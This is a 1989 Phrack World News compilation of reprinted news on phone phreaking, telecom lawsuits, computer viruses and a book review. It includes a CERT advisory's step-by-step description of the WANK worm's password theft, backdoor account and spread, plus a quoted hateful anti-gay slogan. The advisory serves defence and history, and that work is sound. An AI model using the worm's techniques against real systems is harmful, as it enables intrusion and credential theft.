The boy could call up five or six other people, hold their lines captive and route the calls to police, McCurg said.

"The scary thing is he had the capability to screw you over and you couldn't do anything about it," McCurg said.

Police say the boy pulled the same trick on the Alameda County Sheriff's office, San Francisco police and the Los Angeles County sheriff's office in Crescrenta Valley.

The calls did not cause any safety problems, but there was always that potential, Kammer said.

The big break came after the boy started calling Hayward police dispatchers in late February. At first, the dispatchers played along, trying to find out who and where the boy was while the boy gave false clues to throw them off.

"It was like, 'Catch me if you can,'" said Hayward Detective Dennis Kutsuris.

On March 2, dispatchers kept him talking from 8:10 a.m. to 1:20 p.m., long enough to trace the call to his San Gabriel home. That night, police served a search warrant and found the boy in bed talking on the phone using his synthesizer.

The hacker was a lonely boy who dropped out of high school because it didn't challenge him, but had passed his general education equivalency exam and was taking courses from a community college, according to Kammer and Bullock.

Police seized the computer equipment, but formal charges were not filed until last month because of the complex followup investigation, Kammer said.

Bullock said her company lost about $71,000 worth of calls, plus four angered customers. Kammer said although police believe the loss could be "hundreds of thousands" of dollars, they can only prove the loss of $2000 in court.

In the meantime, Hayward police received another call September 6th from a computer‑synthesized voice that they feel came from the boy. Kammer said a relative had given the boy another computer, but they have no proof that he was back to his old tricks.

Still, that incident, along with Cedar Rapids police reports will be used for a probation report, Kammer said.

Bullock said the case was intriguing at first, but became frustrating as her file grew to 2 feet thick.

"He had me by the guts," she said. "I was obsessed with finding him. He's a typical 16‑year old, but a little more menacing. He is pretty smart, but he had absolutely nothing to do, but sit in his room with his computer equipment and all he had to do was talk on the phone."

________________________________________

Just The FAX, Please November 6, 1989

~~~~~~~~~~~~~~~~~~~~

by Noam Cohen (New York Times)

Teachers in rural Minnesota are ready to hear the most up‑to‑date version of the oldest excuse in the book: "Honest, teach, the fax ate my homework."

Yes, the facsimile machine has gone to school in Sibley County, an agricultural area 60 miles southwest of Minneapolis‑St. Paul.

It is the last component to be installed in a four‑year‑old interactive television system, or ITV, that brings advanced classroom instruction to small, isolated areas through closed‑circuit cable television.

In an education system where students adjust the contrast knobs to get a better look at their calculus teacher, it is hardly surprising that these students are the first in the country to use the fax to receive or hand in homework.

David Czech, the telecommunications director for the school district who is responsible for its cable system education program, said that now, televised teachers can even give surprise quizzes.

"The fax makes the classroom truly self‑contained," said Kelly Smith, an assistant principal at Gibbon‑Fairfax‑Winthrop High School, in Sibley County, who taught mathematics for the ITV program before fax machines were introduced. He said that when he taught he "had to rely on transportation in the district and assignments always stacked up."

The fax machines, part of a special line made by Ricoh Corporation, transmit on the same wiring that carries the television image to students. By using cable instead of telephones, the district saves money on telephone costs and receives quicker, cleaner copies.

The machines have a built‑in copier, allowing one student to retrieve the assignment and hand copies to classmates (usually no more than eight). Students then use the machine to hand back work.

The Sibley County school district purchased and installed the fax machines with the remaining $22,000 of a $150,000 state grant for ITV, according to Czech.

The machines, which school officials and a Ricoh spokeswoman say are the first to be used in high school education, have generated interest elsewhere. Czech says he has received calls from education officials in Hawaii, Wisconsin, Ohio and other parts of Minnesota.

________________________________________

MCI Sues AT&T ‑‑ Charges Deceptive Advertising October 12, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"We Welcome The Opportunity To Discuss Who Is Misleading Whom..."

AT&T is using false and malicious advertising to protect its long‑distance business, MCI Communications Corporation charges in a lawsuit filed Tuesday, October 10.

MCI, whose 10 percent market share makes it a distant number two to AT&T's 75 percent, says its giant rival is resorting to false claims in the hope of stemming the loss of 100,000 customers to MCI each week.

AT&T, however, says it will defend itself with a countersuit. According to AT&T spokesman Herb Linnen: "We welcome the opportunity to discuss who is misleading whom... we have been quite concerned for some time now about MCI's misleading print and broadcast advertising. We have taken our complaints directly to MCI without success."

He added, "AT&T stands behind its advertising."

This latest litigation is simply the latest chapter in MCI's long and very bitter battle with AT&T, which began in the 1970's when MCI successfully broke AT&T's long‑distance monopoly by offering "Execunet," the first long‑distance service bypassing AT&T offered to the public. The two companies have battled each other at the Federal Communications Commission, which authorizes the rates for each, ever since. This is the first time since AT&T's divestiture that the arguments have been taken into a courtroom.

In an interview, MCI Chairman William McGowan said that "AT&T ads are sleazy," and he noted that the nine month old campaign grew increasingly negative, forcing MCI into the courts.

AT&T responded saying that MCI is resorting to the courts since "...they just can't hack it in the marketplace..."

McGowan responded that he believes a lawsuit is the only way to fight a company which is spending two million dollars a day on advertising. He said, "Our budget is big ‑‑ $51 million ‑‑ but how do you compete with someone who is nine or ten times your size in advertising?"

MCI is still studying the impact of the latest round of AT&T ads, but McGowan said he is sure MCI should have gained "a lot more" than 100,000 customers per week if not for the advertising. The advertising has not affected professional telecommunications managers, but does have an impact on individual and small business customers, he said.

The MCI suit, filed in U.S. District Court in Washington, DC, alleges that AT&T's advertising campaign "maliciously attacked MCI's honesty and the value of MCI's products and service by falsely and deceptively representing that it is superior to its competitors in general, and MCI in particular, in terms of trustworthiness, quality and price.

MCI's suit cites AT&T ads that assert MCI's rates are cheaper than AT&T's only when calls are made over 900 miles away and after 7 p.m. MCI's suit also takes umbrage at AT&T's advertisement which states that MCI customers "might have better luck calling Mars than trying to reach MCI representatives for an explanation of their bills."

The ads, the suit charges, also claim non‑AT&T companies provide slow telephone connections; that other companies do not operate worldwide like AT&T; and that competing 800, facsimile and WATS services are inferior.

The suit says AT&T "has wrongfully profited and MCI has been damaged by being wrongfully thwarted from maximizing its sales potential."

The suit asks the court to order AT&T to discontinue advertising its services for a period of one year and that advertisements after that time be approved by the court and carry a notice to that effect in the advertisement itself. Additionally, it asks for profits "wrongfully amassed" by AT&T on the sale of its products and services during the past year, plus interest and legal fees.

McGowan was particularly irked by a claim that MCI's fax service has 57 percent more problems than AT&T faxes. He said that number was arrived at by figuring the difference between AT&T service ‑‑ with 4.9 percent errors ‑‑ and MCI, with 7.7 percent errors. Rather than reporting the 2.8 percent difference, the ad claims a 57 percent higher rate ‑‑ the percentage increase between 4.9 percent and 7.7 percent.

"Talk about misleading," McGowan said.

"Yes, talk about misleading," said Herb Linnen. "They've survived this long in part based on the deceptions they've used on a public not well educated on the technical aspects of telephony... we'll clear this up once and for all in court with a countersuit."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Unleashing Ma Bell October 24, 1989

~~~~~~~~~~~~~~~~~~

by Peter Passell (New York Times)

Could AT&T's rivals in long‑distance phone service survive no‑holds‑barred competition?

Since the breakup of the telephone monopoly in 1984, the Federal Communications Commission has kept AT&T on a short leash to prevent the giant company from chewing up the "small fry."

But now two of those small fry have grown into profitable multibillion‑dollar corporations, and AT&T is asking the regulators for the freedom to fight for market share. If the FCC agrees ‑‑ a crucial decision could come as early as Thursday ‑‑ high‑volume telephone users are likely to reap a bonanza from lower prices.

When the Bell System was dismembered, analysts generally agreed that rivals would need a lot of help from Washington to gain a secure foothold in the long‑distance market dominated by the ultimate name‑brand company.

The analysts were right: After AT&T's competitors lost their discounts on regulated charges for hookups to local telephone exchanges, all of them took a financial bath and some went broke.

But in the ensuing consolidation, a few companies emerged with both the technical capacity to match AT&T's service and the marketing savvy to sell themselves to once‑skeptical consumers.

MCI Communications now has 12 percent of the long‑distance market and in the last year has grown four times as fast as AT&T.

US Sprint Communications, with its much‑ballyhooed all‑fiber‑optic system, has an 8 percent share and is the principal carrier for 117 of America's 800 largest companies.

Joel Gross, a communications analyst at Donaldson, Lufkin & Jenrette, believes a fourth network, assembled from a half‑dozen smaller companies, will soon emerge.

One reason AT&T's rivals have managed to do so well in the last few years is continuing regulatory discrimination.

Last summer, the FCC switched AT&T from traditional fair‑rate‑of‑return regulation to a more flexible "price‑cap" system that gives the company discretion to adjust individual rates within a narrow price band.

But neither the old price regulations nor the new ones apply to MCI, US Sprint and other smaller long‑distance companies. And they have taken advantage of AT&T's inability to cut prices, offering volume discounts where AT&T is most vulnerable to customer defections.

AT&T has fought back, convincing the FCC to allow it fast‑track approval for rate concessions needed to hang onto its biggest customers.

And it is now asking the commission for broad discretion to cut rates by more than the 5 percent permitted under the price‑cap rule. If the FCC agrees, it is a sure bet that AT&T will price aggressively, accepting sharp reductions in its fat profit margins to check its loss of market share.

It is obvious why MCI and US Sprint are unhappy at the prospect of an AT&T unleashed. But it is not so easy to see how the public would lose from the ensuing donnybrook.

One worry is that AT&T would slash prices by enough to drive rivals out of business, and then be free to price‑gouge.

But as Peter Pitsch, a former FCC staff member who now consults for AT&T points out, such "predatory" pricing is only a plausible option if the predator can hope to make up the inevitable short‑term losses with long‑term monopoly gains. And two considerations make such a calculation unlikely.

Once the cables have been laid and the switches installed, it costs very little to operate a long‑distance phone system. Thus even if AT&T were able to drive MCI and US Sprint into bankruptcy, their creditors would find it advantageous to continue to sell long‑distance services.

And if AT&T somehow did manage to shut down its rivals, the FCC would hardly be likely to reward it with permission to charge monopoly prices.

Another concern is that price‑cutting would make long‑distance service unprofitable for all, discouraging further investment.

That, however, might not be such a bad thing. Losses are capitalism's way of telling businesses to slow down: There is enormous overcapacity in long‑distance communications and more investment anytime soon is unlikely to be productive.

Does all this mean the commission will hang tough and permit AT&T to flex its competitive muscles? A year ago, when the FCC was dominated by Reagan‑appointed free marketers, the answer would have been easy.

Today, with a Bush‑appointed majority led by a chairman, Alfred Sikes, of less certain ideological bent, it is hard to say.

MCI and US Sprint have managed to squeeze a lot of regulatory mileage out of their underdog status, and certainly will not give up the privileges that go along without a fight.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

AT&T Strikes Back: Countersues MCI October 27, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

AT&T struck back on Thursday, October 27 at advertising claims made by MCI Communications Corporation and received two rulings from the Federal Communications Commission affecting regulation of its long distance services.

AT&T said in a countersuit against MCI filed in Washington, DC that MCI was misleading consumers through false and deceptive advertising in its business and residential long distance service. AT&T's filing denied similar allegations made by MCI in a suit filed October 10.

Victor Pelson, AT&T group executive, said MCI unfairly compared its discount service with AT&T's regular long distance service rather than its discount service. Pelson also denied claims that the quality of MCI voice service was superior to AT&T's, or that its facsimile service featured fewer garbled transmissions than AT&T's.

"We intend to clarify any misconceptions in the market," said Merrill Tutton, AT&T Vice President for consumer marketing.

MCI spokeswoman Kathleen Keegan Thursday responded that, "our ad claims are accurate... We will soon be filing a motion for a preliminary injunction to cause AT&T to cease its advertising campaign."

Also on Thursday, the Federal Communications Commission upheld a decision giving AT&T greater freedom to compete for big corporate customers but rejected another pricing plan by AT&T.

The FCC voted unanimously to uphold a pricing plan known as Tariff 12, which lets AT&T offer corporate customers a package of communications services. AT&T contends it is at a disadvantage because MCI does not have to submit detailed filings to the FCC before they can serve customers. MCI had challenged Tariff 12, asking the FCC to overrule it and prohibit AT&T from offering full service communications packages to its customers.

In the second item, the FCC declared unlawful a pricing plan known as Tariff 15, that AT&T had applied solely to a single customer, the Holiday Corporation, owner of the largest hotel chain in the United States. The FCC said AT&T could no longer justify the special rates to a single customer to meet competition when MCI was making the same service available to customers generally.

Phrack World News XXIX Part 2

==Phrack Inc.==

Volume Three, Issue 29, File #11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIX/Part 2 PWN

PWN PWN

PWN November 17, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Offensive Message Flashes At Busy City Corner October 25, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Linda Wheeler (Washington Post)

An offensive message that mystified the owners of an electronic information board was flashed Monday, October 23 at Connecticut Avenue and L Street NW, one of the city's (Washington DC) busiest intersections.

A Georgetown University law student, Craig Dean, said he saw the message;

"HELP STAMP OUT A.I.D.S. NOW: KILL ALL QUEERS AND JUNKIES"

It flashed five times in 25 minutes. Minutes after seeing the message, he called the city Human Rights Office and the Washington Blade, a gay community newspaper.

Doug Hinckle, a staff photographer for the Blade, saw the message flash once and photographed it.

Judith Miller, president of Miller Companies, which own the building at 1101 Connecticut Avenue NW and the message board, said she did not know how the statement got onto the board. She refused to believe it had appeared until she was shown of the photographs.

Her company has complete control of the board and does not accept any paid messages or advertisements, Miller said. "I would never do anything like that," she said. "There is no way I would allow such a statement to appear."

Yesterday, Keller, a five‑year employee of the Miller Companies, said he did not write the statement and does now know how it became part of the normal flow of headline news.

Miller said she believes her computer system may have a "virus" and will have experts search to find where the unauthorized statement originated. "How absolutely awful," she said of the message.

________________________________________

"WANK" Worm On SPAN Network October 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From The Computer Emergency Response Team

On October 16, the CERT received word from SPAN network control that a worm was attacking SPAN VAX/VMS systems. This worm affects only DEC VMS systems and is propagated via DECnet protocols, not TCP/IP protocols. If a VMS system had other network connections, the worm was not programmed to take advantage of those connections. The worm is very similar to last year's HI.COM (or Father Christmas) worm.

This is NOT A PRANK. Serious security holes are left open by this worm. The worm takes advantage of poor password management, modifies .com files, creates a new account, and spreads to other systems via DECnet.

It is also important to understand that someone in the future could launch this worm on any DECnet based network. Many copies of the virus have been mailed around. Anyone running a DECnet network should be warned.

R. Kevin Oberman from Lawrence Livermore National Labs reports:

"This is a mean bug to kill and could have done a lot of damage. Since it notifies (by mail) someone of each successful penetration and leaves a trapdoor (the FIELD account), just killing the bug is not adequate. You must go in an make sure all accounts have passwords and that the passwords are not the same as the account name."

The CERT/CC also suggests checking every .com file on the system. The worm appends code to .com files which will reopen a security hole everytime the program is executed.

An analysis of the worm appears below and is provided by R. Kevin Oberman of Lawrence Livermore National Laboratory. Included with the analysis is a DCL program that will block the current version of the worm. At least two versions of this worm exist and more may be created. This program should give you enough time to close up obvious security holes.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Report on the W.COM worm.

R. Kevin Oberman

Engineering Department Lawrence Livermore National Laboratory

October 16, 1989

The following describes the action of the W.COM worm (currently based on the examination of the first two incarnations). The replication technique causes the code to be modified slightly which indicates the source of the attack and learned information.

All analysis was done with more haste than I care for, but I believe I have all of the basic facts correct.

Here is a description of the program:

1. The program assures that it is working in a directory to which the owner (itself) has full access (Read, Write,Execute, and Delete).

2. The program checks to see if another copy is still running. It looks for a process with the first 5 characters of "NETW_". If such is found, it deletes itself (the file) and stops its process.

Note: A quick check for infection is to look for a process name starting with "NETW_". This may be done with a SHOW PROCESS command.

3. The program then changes the default DECNET account password to a random string of at least 12 characters.

4. Information on the password used to access the system is mailed to the user GEMPAK on SPAN node 6.59. Some versions may have a different address.

5. The process changes its name to "NETW_" followed by a random number.

6. It then checks to see if it has SYSNAM priv. If so, it defines the system announcement message to be the banner in the program:

W O R M S A G A I N S T N U C L E A R K I L L E R S

________________________________

\__ ____________ _____ ____

\ \ \ /\ / / / /\ \

\ \ \ / \ / / / /__\ \

\ \ \/ /\ \/ / / ______ \

\_\ /__\ /____/ /______\ \

\__________________________

\

\ Your System Has Been Officically WANKed /

\_______________________

You talk of times of peace for all, and then prepare for war.

7. If it has SYSPRV, it disables mail to the SYSTEM account.

8. If it has SYSPRV, it modifies the system login command procedure to APPEAR to delete all of a user's file. (It really does nothing.)

9. The program then scans the accounts logical name table for command procedures and tries to modify the FIELD account to a known password with login form any source and all privs. This is a primitive virus, but very effective IF it should get into a privileged account.

10. It proceeds to attempt to access other systems by picking node numbers at random. It then used PHONE to get a list of active users on the remote system. It proceeds to irritate them by using PHONE to ring them.

11. The program then tries to access the RIGHTSLIST file and attempts to access some remote system using the users found and a list of "standard" users included with the worm. It looks for passwords which are the same as that of the account or are blank. It records all such accounts.

12. It looks for an account that has access to SYSUAF.DAT.

13. If a priv. account is found, the program is copied to that account and started. If no priv account was found, it is copied to other accounts found on the random system.

14. As soon as it finishes with a system, it picks another random system and repeats (forever).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Network At NASA Attacked By Rogue Program October 18, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

A rogue computer program attacked a worldwide network of the National Aeronautics and Space Administration on Monday, October 16, inflicting no damage but forcing officials to disconnect the network from sensitive military and space systems.

Security experts speculated that the program was written by someone who opposed Tuesday's (October 17) scheduled launching of the space shuttle Atlantis, which was to carry a nuclear‑powered satellite into orbit. The launching was postponed because of bad weather.

NASA officials said the rogue program attacked an academic and research network, the Space Physics Analysis Network, which is not used for space shuttle mission control.

But a NASA official said the agency felt compelled to disconnect several links between the network and an operational space shuttle network as a precaution.

Computer security experts at several national laboratories said the Department of Defense had also severed the connection between commercial and research networks and nonclassified network that connects United States military installations and contractors around the world.

The program was designed to copy itself secretly and send unwanted, sometimes vulgar messages to users of the NASA network. It also tricks users into thinking that data have been destroyed, although no data are damaged.

Like similar programs that have been sent into computer networks by pranksters and saboteurs, it exploited a flaw in the security system designed to protect the computers on the network.

Computer security experts said Tuesday that they knew of about 60 computers that had been affected by the program. A NASA spokesman said the program was still spreading.

While the network is widely available to academic researchers with personal computers, the rogue program was designed to attack only 6,000 computers manufactured by the Digital Equipment Corporation.

The flaw in the security of the Digital Equipment computers had been widely publicized over a year ago even before a similar rogue program jammed a group of interconnected international networks known as the Internet. NASA officials said the program was only able to attack computers in which the necessary steps had not been taken to correct the flaw.

Among the messages the program displayed on all infected computers was one that read: "Worms Against Nuclear Killers. You talk of times of peace for all, and then prepare for war."

Computer scientists call this kind of program a worm, a reference to a program first described in the novel "Shockwave Rider" by a science fiction writer, John Brunner.

________________________________________

Virus Controversies Again October 6, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

"The issue has also sparked interest among computer scientists."

Harold Highland, editor of Computers & Security, a professional journal, said he had received two research papers describing how to create such anti‑virus programs.

He has not decided whether to publish them.

"No one has raised the obvious ethical questions," he added. "I would hate to see a virus released to fight viruses. Until it's tested you don't know whether it's going to do more damage than the program it is designed to fight."

A number of these programs have already been written, computer researchers said.

The one that destroyed the data on business and governmental personal computers in the United States was reportedly designed by a Venezuelan programmer. How many computers were affected and where they were is unclear.

That program is called Den Zuk, or Search. It was intended to attack a destructive program known as the Brain Virus that was distributed in 1986 by two brothers who owned a small computer store in Pakistan.

Errors in the design of the program illustrate the potential danger of such viruses, critics say. Fridrik Skulason, a microcomputer specialist at the University of Iceland in Reykjavik, who has disassembled the program, said the author of Den Zuk had failed to take into account the different capacities of disks available for IBM and IBM‑compatible machines.

Because of that simple error, when the program infects a higher‑capacity disk it destroys data.

"They probably wrote with good intention," he said. "The only problem is that the programmers were not able to do their job correctly."

At least two other anti‑viral viruses have already been devised, said Russell Brand, a computer security researcher at Lawrence Livermore.

He said programmers at one company, which he would not identify, had written the programs to combat the Scores virus, a program that infected Macintosh computers last year.

He added that even though the programs were designed so they could not go beyond the company's own computers, there had been a heated debate over whether to deploy the programs. He said he did not know how it was decided.

Brand said a group of computer researchers he works with at Lawrence Livermore had written several self‑replicating programs after the appearance of the rogue program that Morris of Cornell is accused of writing. But he added that the group had never given permission to release the programs.

The debate over vigilante viruses is part of a broader discussion now taking place among some computer researchers and programmers over what is being termed "forbidden knowledge."

"There are ethical questions any time you send something out there that may find itself invited on to somebody else's computer," said Pamela Kane, author of a book on computer virus protection.

In California this month a group of computer hackers plans to hold a forum on "forbidden knowledge in a technological society."

While the role of the computer hacker has been viewed as mischievous in a negative way, hackers have consistently played a role as innovators, said Lee Felsenstein, a Berkeley, California, computer expert who designed several early personal computers.

"Computer hacking was originally a response to the perception of a priesthood's control over immensely powerful technological resources," he said. "Informed individuals were able to break the power of this priesthood through gaining and spreading the body of forbidden knowledge."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dreaded Personal Computer Virus May Be Only A Cold October 6, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Don Clark (New York Times)

It won't be much of a plague. But the hysteria anticipating it has been world‑class.

Those observations come from computer‑security experts as they await Datacrime, a virus program set to attack IBM‑compatible personal computers starting Thursday, October 12, 1989.

Analyses of the program, also called the Columbus Day Virus, show that it is indeed destructive. It just hasn't spread very far.

"It's going to be the week of the non‑event," predicted John McAfee, a Santa Clara, California, consultant who serves as chairman of the Computer Virus Industry Association. "You have more chance of being hit by a meteor than getting this virus."

McAfee Associates, which acts as a clearinghouse for virus information, has received just seven confirmed reports of Datacrime in six months ‑‑ compared with three to 50 reports per day about another virus that originated in Israel in 1987. He thinks only 50 copies of Datacrime exist, and 40 of those are in the hands of researchers.

"It's gotten more publicity than it deserves," agreed Russell Brand, another virus expert, who advises Lawrence Livermore National Laboratory.

Brand expects to find just 20 copies among the 75,000 computers he monitors at 1,000 sites.

Such projections are disputed by some. They are based on how often Datacrime has been detected by computer users using special software that scans their systems for the virus.

The virus could have infected many users who have not bothered to scan their systems, McAfee concedes.

Fears have been whipped up by the news media and computer managers at companies and government agencies. Companies promoting products to eradicate viruses also have played a role ‑‑ understandably.

Staid IBM Corporation this week took the unusual step of offering a program that checks systems for viruses. The company hasn't detected the virus in its own operations, but concedes that many customers are worried. "They are asking us how we protect our software‑development operations from viruses," said Bill Vance, who was appointed a year ago as IBM's director of secure systems.

Bank of America, a huge IBM customer with 15,000 PCs, recently put out a company‑wide notice advising users to make backup copies of their computer data by Wednesday, the day before the virus is programmed to strike.

Three different government agencies have panicked and sent out multiple versions of incorrect advice," Brand said.

Worried calls have deluged McAfee's office, which has just three lines for computer communications and three for voice.

"We put the phone down and it's 30 seconds before it rings again," he said.

Computer sleuths detected Datacrime ‑‑ and have detected other viruses ‑‑ by looking for changes in the size of data files and in the way programs operate. The underlying code used to write the program, once disassembled by experts, indicates when the program will activate itself.

The identity of Datacrime's author isn't known, although some reports have linked the virus to an anonymous hacker in Austria. It first began showing up in March, McAfee said, and gained notoriety after it was discussed at the midsummer Galactic Hackers Conference in Amsterdam.

It appears to be relatively prevalent in the Netherlands and other European countries. Dutch computer users have reportedly bought hundreds of programs that are said to detect and destroy the program.

Like other viruses, Datacrime rides along with innocuous programs when they are exchanged over a computer network or computer bulletin board or through exchange of infected disks. Unlike many viruses, it has been designed to later insert itself in data files that users don't often examine.

If one of the programs is executed after the target date, Datacrime proceeds with its dirty work ‑‑ destroying the directory used to keep track of files on a computer's hard disk. The crime is analogous to destroying a card file in the library.

"By destroying this one table you can't find where any of your data is," said Brand.

But no one should really be in a fix if he makes backup copies of data, experts say. The data, once safely stored on another disk drive or on magnetic tape, can be restored by computer professionals even if the virus has infected the backup files.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"Vaccines" To Hunt Down Rogue Programs October 6, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

Ever since a rogue program created by a graduate student jammed a nationwide computer network last year, the rapid spread of such disruptive software, often known as viruses, has caused growing alarm among computer users.

Now, to fight fire with fire, some companies, individuals and even a government research laboratory are crafting a new breed of what have been called anti‑viruses to hunt down intruders.

The trouble is, some computer security experts say, the problem of viruses may be exaggerated ‑‑ and the new crime fighter may do even more damage than the criminal.

Much like an infection, a well‑intended but badly designed program to stop viruses can run amok, knocking out thousands of computers or destroying vast amounts of data.

Indeed, one of the anti‑virus programs intended to defeat a known virus has already destroyed data on business and governmental personal computers in the United States.

The issue has touched off a heated debate over whether the creation of these high‑technology vigilantes is a responsible action. "The risks are just enormous," said Peter Neumann, a computer security expert at SRI International, a technology research center in Menlo Park, California. "It's an unbelievably unsafe thing to do."

But Chris Traynor, a programmer at Divine Axis, a software development company in Yonkers, New York, argues that anti‑virus programs can be contained so that they do not spread out of control, reaching and possibly damaging data in other computers. His company is now trying to design such a program.

Computer researchers at the Lawrence Livermore Laboratory, a federal weapons center in Livermore, California, have designed similar programs that patrol computer networks in search of breaches through which viruses could enter the system.

Viruses, which got their name because they mimic in the computer world the behavior of biological viruses, are programs, or sets of instructions, that can secretly be spread among computers.

Viruses can travel either over a computer network or on an infected disk passed by hand between computer users.

Once the infection has spread, the virus might do something as benign as displaying a simple message on a computer screen or as destructive as erasing the data on an entire disk.

Computer security experts have been concerned for several years by the emergence of vandals and mischief makers who deliberately plant the destructive programs.

But in recent weeks international alarm has reached new heights as rumors have spread that a virus program will destroy data on thousands of computers this month, on Friday the 13th.

Computer security researchers said the virus, known as Datacrime, was one of at least three clandestine programs with internal clocks set to destroy data on that date.

As is usually the case, no one knows who wrote the program, but U.S. military officials have mentioned as possible suspects a European group linked to West German terrorists and a Norwegian group displeased with the fame of Christopher Columbus, who is honored next week.

Largely in response to customer concerns, IBM said on Monday that it was offering programs for its personal computers that would scan for viruses.

But several computer security experts say public fears are largely exaggerated.

They note that there have been fewer than a dozen reported appearances of the Datacrime virus in the United States, and contend that the whole issue is overblown.

Still, in the personal computer world, where many users have little knowledge of the technical workings of their machines, concern over computer viruses has become widespread.

The issue got the most attention last November, when, it is charged, Robert Morris, a graduate student at Cornell, unleashed a rogue program that because of a small programming error, ran wildly out of control, copying itself hundreds of times on thousands of computers, overloading a national network,

As a result of the mounting concern, a new industry has blossomed offering users protective programs known as vaccines, or anti‑viral software.

These programs either alert users that a virus is attempting to tamper with their computer or scan a computer disk and erase any rogue program that is detected.

These conventional programs do not automatically migrate from computer to computer, but now some experts are exploring fashioning programs that graft the powers of the vaccines onto viruses in order to pursue and stop them wherever they go.

Designing and spreading such programs was proposed in August by several people attending an international gathering of computer hobbyists, or "hackers," in Amsterdam.

They suggested that it was a good way for members of the computer underground to make a positive contribution.

But many researchers believe the idea is dangerously flawed because of the possibility of accidentally doing great damage.

Some computer security researchers worry that writing an infectious program to stop viruses may be taken as an intellectual challenge by hackers who are well meaning but do not grasp what problems they could create.

"One of the questions that the hacker community is now addressing is what you do about young hackers," said Stewart Brand, a writer in Sausalito, California, who is working on a book on outlaw cultures and high technology.

"They don't have a sense of responsibility; they have a sense of curiosity. These are deliciously debatable issues, and I don't see them going away."

Phrack World News XXIX Part 3

==Phrack Inc.==

Volume Three, Issue 29, File #12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIX/Part 3 PWN

PWN PWN

PWN November 17, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

The Cuckoo's Egg October 18, 1989

~~~~~~~~~~~~~~~~

by By Christopher Lehmann‑Haupt (New York Times)

"Tracking a Spy Through the Maze of Computer Espionage"

It all begins with a 75‑cent discrepancy in the computer complex's accounting system. Clifford Stoll, the new man in the office, is assigned to reconcile the shortfall.

Although an astronomer by training, Stoll has recently seen his grant money run dry and so has been transferred from the Keck Observatory at the Lawrence Berkeley Lab down to the computer center in the basement of the same building. No wizard at computers, he thinks he can pick things up fast enough to get by. So he sets out to look for the 75 cents.

He quickly discovers that no glitch in the accounting programs has occurred. No, what seems to have happened is that an unfamiliar user named Hunter briefly logged on to the system, burning up 75‑cents worth of time. Since there is no account record for Hunter, Stoll erases him from the system. The problem is solved, or so it seems.

But almost immediately, an operator from Maryland on the same network that the Lawrence Berkeley Lab uses complains that someone from Stoll's lab is trying to break into his computer. When Stoll checks the time of the attempt, he discovers that the account of someone named Joe Sventek, who is known to be in England for the year, has been used. So he guesses that the user calling himself Hunter has somehow activated Sventek's account. But who is this hacker (as Stoll begins to refer to him), where is he operating from and how is he getting into the system?

Next Stoll sets up systems to alert him every time the hacker comes on line and monitor his activities without his being aware of it. He watches as the hacker tries to lay cuckoo's eggs in the system's nest, by which of course he means programs for other users to feed ‑‑ for instance, a program that could decoy other users into giving the hacker their secret passwords. He watches as the hacker invades other computer systems on the networks the Lawrence Berkeley Lab employs, some of them belonging to military installations and contractors.

The mystery grows. Telephone traces gradually establish that the hacker is not a local operator, is not on the West Coast and may not even be in North America. But of the various three‑letter organizations that Stoll appeals to for help ‑‑ among them the FBI, the CIA and even the National Security Agency ‑‑ none will investigate, at least in an official capacity.

By now a reader is so wrapped up in Stoll's breezily written account of his true adventure in "The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage" that he is happy to overlook certain drawbacks in the narrative ‑‑ most conspicuously the lack of consistently lucid technical talk and the author's dithering over whether appealing for help to the likes of the FBI and CIA is selling out to the enemy, a qualm left over from the 1960s mentality that still afflicts him and his friends.

The only truly annoying aspect of the book is that an endpaper diagram gives away the location of the computer spy. Readers are advised not to look at the endpapers, which do little but spoil the suspense.

Unfortunately, the narrative, too, eventually helps dissipate the story's tension. The officials who finally take over the hunt from Stoll are so reluctant to tell him what is happening that all the suspense he has created simply evaporates. Even Stoll seems to lose interest in the identity of his mysterious antagonist, judging by the limp and haphazard way he finally does give us the news.

Instead of building his story, he allows himself to be distracted by a banal domestic drama centering on his decision to stop being afraid of emotional commitment and marry the woman he has been living with for seven years. And he continues limply to debate the need of the state to defend the security of communications networks against wanton vandalism, as if there were room for serious discussion of the question.

